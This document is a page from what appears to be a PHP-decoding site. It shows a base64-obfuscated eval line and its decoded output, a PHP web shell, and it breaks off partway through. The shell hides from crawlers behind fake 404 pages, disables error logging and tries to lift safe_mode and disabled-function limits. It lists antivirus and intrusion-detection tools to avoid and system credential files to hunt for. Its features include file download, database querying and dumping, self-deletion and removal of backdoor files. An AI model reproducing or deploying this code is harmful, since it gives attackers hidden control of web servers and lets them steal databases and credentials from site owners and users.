Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(base64_decode('aWYocHJlZ19tYXRjaCgiL2JvdC8iLCAkX1NFUlZFUltIVFRQX1VTRVJfQUdFTlRdKS..

Decoded Output download

if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}

$language='eng';

$auth = 0;

$name=''; 
$pass='';

//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
@setlocale(LC_ALL,'ru_RU.cp1251');

@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");

if(@function_exists('ini_set'))
 {
 @ini_set('error_log',NULL);
 @ini_set('log_errors',0);
 @ini_set('file_uploads',1);
 @ini_set('allow_url_fopen',1);
 }
else
 {
 @ini_alter('error_log',NULL);
 @ini_alter('log_errors',0);
 @ini_alter('file_uploads',1);
 @ini_alter('allow_url_fopen',1);
 }
 
error_reporting(E_ALL);

/* ??? ????? */
$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
$downloaders = array('wget','fetch','lynx','links','curl','get');

/* ??? ?????? ???????? ???? ????? realpath() */
//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz"; 
//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz"; 
//$chars_rlph = "_-.01234567890"; 
$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; 

$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');

/******************************************************************************************************/

define("starttime",@getmicrotime());

if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};

set_magic_quotes_runtime(0);
@set_time_limit(0);
if(@function_exists('ini_set'))
 {
 @ini_set('max_execution_time',0);
 @ini_set('output_buffering',0);
 }
else
 {
 @ini_alter('max_execution_time',0);
 @ini_alter('output_buffering',0);
 }
$safe_mode = @ini_get('safe_mode');
#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
$version = '1.42';
if(@version_compare(@phpversion(), '4.1.0') == -1)
 {
 $_POST   = &$HTTP_POST_VARS;
 $_GET    = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 $_COOKIE = &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc())
 {
 foreach ($_POST as $k=>$v)
  {
  $_POST[$k] = stripslashes($v);
  }
 foreach ($_COOKIE as $k=>$v)
  {
  $_COOKIE[$k] = stripslashes($v);
  } 
 }

if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
   {
   header('WWW-Authenticate: Basic realm="HELLO!"');
   header('HTTP/1.0 401 Unauthorized');
   exit("<h1>Access Denied</h1>");
   }
}   

if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
	$tempdir='./';
	$select_tempdir = '<select name=tempdir><option value="./">./</option>';
	foreach( $tempdirs as $item) {
		if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}
	}
	$select_tempdir .= '</select>';
	setcookie('tempdir',$tempdir);
	setcookie('select_tempdir',$select_tempdir);
}else{
	if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}
	$select_tempdir = $_COOKIE['select_tempdir'];
}

$head = '
<html>
<head>
<title>Not Found</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<STYLE>
tr {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
td {
BORDER-RIGHT:  #aaaaaa 1px solid;
BORDER-TOP:    #eeeeee 1px solid;
BORDER-LEFT:   #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
.table1 {
BORDER: 0px;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
.td1 {
BORDER: 0px;
font: 7pt Verdana;
color: #000000;
}
.tr1 {
BORDER: 0px;
color: #000000;
}
table {
BORDER:  #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
color: #000000;
}
input {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;
}
select {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
color: #000000;
}
textarea {
BORDER-RIGHT:  #ffffff 1px solid;
BORDER-TOP:    #999999 1px solid;
BORDER-LEFT:   #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
color: #000000;
}
BODY {
margin: 1px;
color: #000000;
background-color: #e4e0d8;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}


</script>';
class zipfile
{
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    = 1980;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        } 
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    } 
    function addFile($data, $name, $time = 0)
    {
        $name     = str_replace('\\', '/', $name);
        $dtime    = dechex($this->unix2DosTime($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr   = "\x50\x4b\x03\x04";
        $fr   .= "\x14\x00";            
        $fr   .= "\x00\x00";            
        $fr   .= "\x08\x00";            
        $fr   .= $hexdtime;             
        $unc_len = strlen($data);
        $crc     = crc32($data);
        $zdata   = gzcompress($data);
        $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $c_len   = strlen($zdata);
        $fr      .= pack('V', $crc);             
        $fr      .= pack('V', $c_len);           
        $fr      .= pack('V', $unc_len);         
        $fr      .= pack('v', strlen($name));    
        $fr      .= pack('v', 0);                
        $fr      .= $name;
        $fr .= $zdata;
        $this -> datasec[] = $fr;
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";                
        $cdrec .= "\x14\x00";                
        $cdrec .= "\x00\x00";                
        $cdrec .= "\x08\x00";                
        $cdrec .= $hexdtime;                 
        $cdrec .= pack('V', $crc);           
        $cdrec .= pack('V', $c_len);         
        $cdrec .= pack('V', $unc_len);       
        $cdrec .= pack('v', strlen($name) ); 
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('v', 0 );             
        $cdrec .= pack('V', 32 );            
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset += strlen($fr);
        $cdrec .= $name;
        $this -> ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return
            $data .
            $ctrldir .
            $this -> eof_ctrl_dir .
            pack('v', sizeof($this -> ctrl_dir)) .  
            pack('v', sizeof($this -> ctrl_dir)) .  
            pack('V', strlen($ctrldir)) .           
            pack('V', strlen($data)) .              
            "\x00\x00";              
    }
}

function compress(&$filename,&$filedump,$compress)
 {
    global $content_encoding;
    global $mime_type;
    if ($compress == 'bzip' && @function_exists('bzcompress')) 
     {
        $filename  .= '.bz2';
        $mime_type = 'application/x-bzip2';
        $filedump = bzcompress($filedump);
     } 
     else if ($compress == 'gzip' && @function_exists('gzencode')) 
     {
        $filename  .= '.gz';
        $content_encoding = 'x-gzip';
        $mime_type = 'application/x-gzip';
        $filedump = gzencode($filedump);
     } 
     else if ($compress == 'zip' && @function_exists('gzcompress')) 
     {
     $filename .= '.zip';
        $mime_type = 'application/zip';
        $zipfile = new zipfile();
        $zipfile -> addFile($filedump, substr($filename, 0, -4));
        $filedump = $zipfile -> file();
     } 
     else 
     {
     $mime_type = 'application/octet-stream';
     }
 }

function moreread($temp){
global $lang,$language;
$str='';
  if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){
   if($ffile){
     while(!@feof($ffile)){$str .= @fgets($ffile);};
     fclose($ffile);
   }
  }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
   if($ffile){
     $str = @fread($ffile, @filesize($temp));
     @fclose($ffile);
   }
  }elseif(@function_exists('file')&&($ffiles = @file($temp))){
   foreach ($ffiles as $ffile) { $str .= $ffile; }
  }elseif(@function_exists('file_get_contents')){
   $str = @file_get_contents($temp);
  }elseif(@function_exists('readfile')){
   $str = @readfile($temp);
  }elseif(@function_exists('highlight_file')){
   $str = @highlight_file($temp);
  }elseif(@function_exists('show_source')){
   $str = @show_source($temp);
  }else{echo $lang[$language.'_text56'];}
return $str;
}

function readzlib($filename,$temp=''){
global $lang,$language;
$str='';
  if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
  if(@copy("compress.zlib://".$filename, $temp)) {
   $str = moreread($temp);
  } else echo $lang[$language.'_text119'];
  @unlink($temp);
return $str;
}

function morewrite($temp,$str='')
{
global $lang,$language;
 if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
  if($ffile){
   @fwrite($ffile,$str);
   @fclose($ffile);
  }
 }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
  if($ffile){
   @fputs($ffile,$str);
   @fclose($ffile);
  }
 }elseif(@function_exists('file_put_contents')){
   @file_put_contents($temp,$str);
 }else return 0;
return 1;
}

function mailattach($to,$from,$subj,$attach)
 {
 $headers  = "From: $from\r\n";
 $headers .= "MIME-Version: 1.0\r\n";
 $headers .= "Content-Type: ".$attach['type'];
 $headers .= "; name=\"".$attach['name']."\"\r\n";
 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
 if(mail($to,$subj,"",$headers)) { return 1; }
 return 0;
 }
class my_sql
 {
 var $host = 'localhost';
 var $port = '';
 var $user = '';
 var $pass = '';
 var $base = '';
 var $db   = '';
 var $connection;
 var $res;        
 var $error;      
 var $rows;       
 var $columns;     
 var $num_rows;   
 var $num_fields; 
 var $dump;       
 
 function connect()
  {   
  switch($this->db)
     {
   case 'MySQL': 
    if(empty($this->port)) { $this->port = '3306'; }
    if(!@function_exists('mysql_connect')) return 0;
    $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
    if(is_resource($this->connection)) return 1;
   break;
   case 'MSSQL':
      if(empty($this->port)) { $this->port = '1433'; }
    if(!@function_exists('mssql_connect')) return 0;
    $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
      if($this->connection) return 1;
   break;
   case 'PostgreSQL':
      if(empty($this->port)) { $this->port = '5432'; }
      $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
      if(!@function_exists('pg_connect')) return 0;
      $this->connection = @pg_connect($str);
      if(is_resource($this->connection)) return 1;
   break;
   case 'Oracle':
      if(!@function_exists('ocilogon')) return 0;
      $this->connection = @ocilogon($this->user, $this->pass, $this->base);
      if(is_resource($this->connection)) return 1;
   break;
   case 'MySQLi':
    if(empty($this->port)) { $this->port = '3306'; }
    if(!@function_exists('mysqli_connect')) return 0;
    $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port);
    if(is_resource($this->connection)) return 1;
   break;
   case 'mSQL':
    if(!@function_exists('msql_connect')) return 0;
    $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass);
    if(is_resource($this->connection)) return 1;
   break;
   case 'SQLite':
    if(!@function_exists('sqlite_open')) return 0;
    $this->connection = @sqlite_open($this->base);
    if(is_resource($this->connection)) return 1;
   break;
     }
    return 0;   
  }
  
 function select_db()
  {
   switch($this->db)
    {
  case 'MySQL':
   if(@mysql_select_db($this->base,$this->connection)) return 1;
  break;
  case 'MSSQL':
   if(@mssql_select_db($this->base,$this->connection)) return 1;
  break;
  case 'PostgreSQL':
     return 1;
  break;
  case 'Oracle':
     return 1;
  break;
  case 'MySQLi':
     return 1;
  break;
  case 'mSQL':
     if(@msql_select_db($this->base,$this->connection)) return 1;
  break;
  case 'SQLite':
     return 1;
  break;
    }
 return 0;  
  }
  
 function query($query)
  { 
   $this->res=$this->error='';
   switch($this->db)
    {
  case 'MySQL': 
     if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) 
      { 
      $this->error = @mysql_error($this->connection);
      return 0;
      } 
     else if(is_resource($this->res)) { return 1; }                   
     return 2;                                                          
  break;
  case 'MSSQL':
     if(false===($this->res=@mssql_query($query,$this->connection))) 
      {
      $this->error = 'Query error';
      return 0;
      }
      else if(@mssql_num_rows($this->res) > 0) { return 1; }
     return 2;     
  break;
  case 'PostgreSQL':
     if(false===($this->res=@pg_query($this->connection,$query)))
      {
      $this->error = @pg_last_error($this->connection);
      return 0;
      }
      else if(@pg_num_rows($this->res) > 0) { return 1; }
     return 2; 
  break;
  case 'Oracle':
     if(false===($this->res=@ociparse($this->connection,$query)))
      {
      $this->error = 'Query parse error';
      }
     else 
      { 
      if(@ociexecute($this->res)) 
       {
       if(@ocirowcount($this->res) != 0) return 2;
       return 1;
       }
      $error = @ocierror();
      $this->error=$error['message']; 
      }
  break;
  case 'MySQLi': 
     if(false===($this->res=@mysqli_query($this->connection,$query))) 
      { 
      $this->error = @mysqli_error($this->connection);
      return 0;
      } 
     else if(is_resource($this->res)) { return 1; }                   
     return 2;                                                          
  break;
  case 'mSQL': 
     if(false===($this->res=@msql_query($query,$this->connection))) 
      { 
      $this->error = @msql_error($this->connection);
      return 0;
      } 
     else if(is_resource($this->res)) { return 1; }                   
     return 2;                                                          
  break;
  case 'SQLite': 
     if(false===($this->res=@sqlite_query($this->connection,$query))) 
      { 
      $this->error = @sqlite_error_string($this->connection);
      return 0;
      } 
     else if(is_resource($this->res)) { return 1; }                   
     return 2;                                                          
  break;
    }
  return 0;
  }
 function get_result()
  { 
   $this->rows=array();
   $this->columns=array();
   $this->num_rows=$this->num_fields=0;
   switch($this->db)
    {
  case 'MySQL':
   $this->num_rows=@mysql_num_rows($this->res);
   $this->num_fields=@mysql_num_fields($this->res);
   while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); 
   @mysql_free_result($this->res);
   if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  break;
  case 'MSSQL':
   $this->num_rows=@mssql_num_rows($this->res);
   $this->num_fields=@mssql_num_fields($this->res);    
   while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
   @mssql_free_result($this->res);
   if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  break;
  case 'PostgreSQL':
   $this->num_rows=@pg_num_rows($this->res); 
   $this->num_fields=@pg_num_fields($this->res);   
   while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
   @pg_free_result($this->res);
   if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  break;
  case 'Oracle':
     $this->num_fields=@ocinumcols($this->res);
     while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
     @ocifreestatement($this->res);
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  break;
  case 'MySQLi':
     $this->num_rows=@mysqli_num_rows($this->res);
     $this->num_fields=@mysqli_num_fields($this->res);
     while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res))); 
     @mysqli_free_result($this->res);
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  break;
  case 'mSQL':
     $this->num_rows=@msql_num_rows($this->res);
     $this->num_fields=@msql_num_fields($this->res);
     while(false !== ($this->rows[] = @msql_fetch_array($this->res))); 
     @msql_free_result($this->res);
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  break;
  case 'SQLite':
     $this->num_rows=@sqlite_num_rows($this->res);
     $this->num_fields=@sqlite_num_fields($this->res);
     while(false !== ($this->rows[] = @sqlite_fetch_array($this->res))); 
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  break;
    }
   return 0; 
  }
 function dump($table)
  { 
   if(empty($table)) return 0;
   $this->dump=array();
   $this->dump[0] = '##';
   $this->dump[1] = '## --------------------------------------- ';
   $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
   $this->dump[3] = '## Database: '.$this->base;
   $this->dump[4] = '##    Table: '.$table;
   $this->dump[5] = '## --------------------------------------- ';
   switch($this->db)
    {
  case 'MySQL':
     $this->dump[0] = '## MySQL dump';
     if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
     if(!$this->get_result()) return 0;
     $this->dump[] = $this->rows[0]['Create Table'];
     $this->dump[] = '## --------------------------------------- ';
     if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
    $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    }
  break;
  case 'MSSQL':
     $this->dump[0] = '## MSSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
    $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    }
  break;
  case 'PostgreSQL':
     $this->dump[0] = '## PostgreSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} 
    $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    } 
  break;
  case 'Oracle':
     $this->dump[0] = '## ORACLE dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {     
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
    $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    }
  break;
  case 'MySQLi':
     $this->dump[0] = '## MySQLi dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {     
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);}
    $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    }
  break;
  case 'mSQL':
     $this->dump[0] = '## mSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {     
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
    $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    }
  break;
  case 'SQLite':
     $this->dump[0] = '## SQLite dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
   if(!$this->get_result()) return 0;
   for($i=0;$i<$this->num_rows;$i++)
    {     
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
    $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
    }
  break;
  default:
     return 0;
  break;
    }
   return 1; 
  }
 function close()
  { 
   switch($this->db)
    {
  case 'MySQL': 
     @mysql_close($this->connection); 
  break;
  case 'MSSQL':
     @mssql_close($this->connection);
  break;
  case 'PostgreSQL':
     @pg_close($this->connection);
  break;
  case 'Oracle':
     @oci_close($this->connection);
  break;
  case 'MySQLi':
     @mysqli_close($this->connection); 
  break;
  case 'mSQL':
     @msql_close($this->connection); 
  break;
  case 'SQLite':
     @sqlite_close($this->connection); 
  break;
    }
  }
 function affected_rows()
  { 
   switch($this->db)
    {
  case 'MySQL':
   return @mysql_affected_rows($this->res); 
  break;
  case 'MSSQL':
     return @mssql_affected_rows($this->res);
  break;
  case 'PostgreSQL':
     return @pg_affected_rows($this->res);
  break;
  case 'Oracle':
     return @ocirowcount($this->res);
  break;
  case 'MySQLi':
     return @mysqli_affected_rows($this->res); 
  break;
  case 'mSQL':
     return @msql_affected_rows($this->res); 
  break;
  case 'SQLite':
     return @sqlite_changes($this->res);
  break;
  default:
     return 0;
  break;
    }
  }
 } 
if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
 {
  if($file=moreread($_POST['d_name'])){ $filedump = $file; }
  else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  if(!empty($_POST['cmd'])) 
   {
    @ob_clean();
    $filename = @basename($_POST['d_name']);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
    header("Content-type: ".$mime_type);
    header("Content-disposition: attachment; filename=\"".$filename."\";");   
    echo $filedump;
    exit();
   }
 }
if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
 {
 echo $head;
 $sql = new my_sql();
 $sql->db   = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];
 $sql->base = $_POST['mysql_db'];
 $querys = @explode(';',$_POST['db_query']);
 echo '<body bgcolor=#e4e0d8>';
 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  else 
   {
   if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
   else
    {
    foreach($querys as $num=>$query) 
     {
      if(strlen($query)>5)
      {
      echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
      switch($sql->query($query))
       {
       case '0':
       echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
       break;
       case '1': 
       if($sql->get_result())
        {
       echo "<table width=100%>";
        foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
       $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
        echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
        for($i=0;$i<$sql->num_rows;$i++)
         {
         foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
         echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
         }
        echo "</table>"; 
        }
       break;
       case '2':
       $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); 
       echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
       break; 
       }
      }
     }
    }
   }   
 echo "<br><form name=form method=POST>";
 echo in('hidden','db',0,$_POST['db']);
 echo in('hidden','db_server',0,$_POST['db_server']);
 echo in('hidden','db_port',0,$_POST['db_port']);
 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
 echo in('hidden','cmd',0,'db_query');
 echo "<div align=center>";
 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; 
 echo "</form>";
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
 }
if(isset($_GET['12']))
 {
   @unlink(__FILE__);
 }
if(isset($_GET['11']))
 {
   @unlink($tempdir.'bdpl');
   @unlink($tempdir.'back');
   @unlink($tempdir.'bd');
   @unlink($tempdir.'bd.c');
   @unlink($tempdir.'dp');
   @unlink($tempdir.'dpc');
   @unlink($tempdir.'dpc.c');
   @unlink($tempdir.'prxpl');
   @unlink($tempdir.'grep.txt');
 }
if(isset($_GET['2']))
{
echo $head;
function U_value($value)
 {
 if ($value == '') return '<i>no value</i>';
 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
 if ($value === null) return 'NULL';
 if (@is_object($value)) $value = (array) $value;
 if (@is_array($value))
 {
 @ob_start();
 print_r($value);
 $value = @ob_get_contents();
 @ob_end_clean();
 }
 return U_wordwrap((string) $value);
 }
function U_wordwrap($str)
 {
 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
 }
if (@function_exists('ini_get_all'))
 {
 $r = '';
 echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
 foreach (@ini_get_all() as $key=>$value)
  {
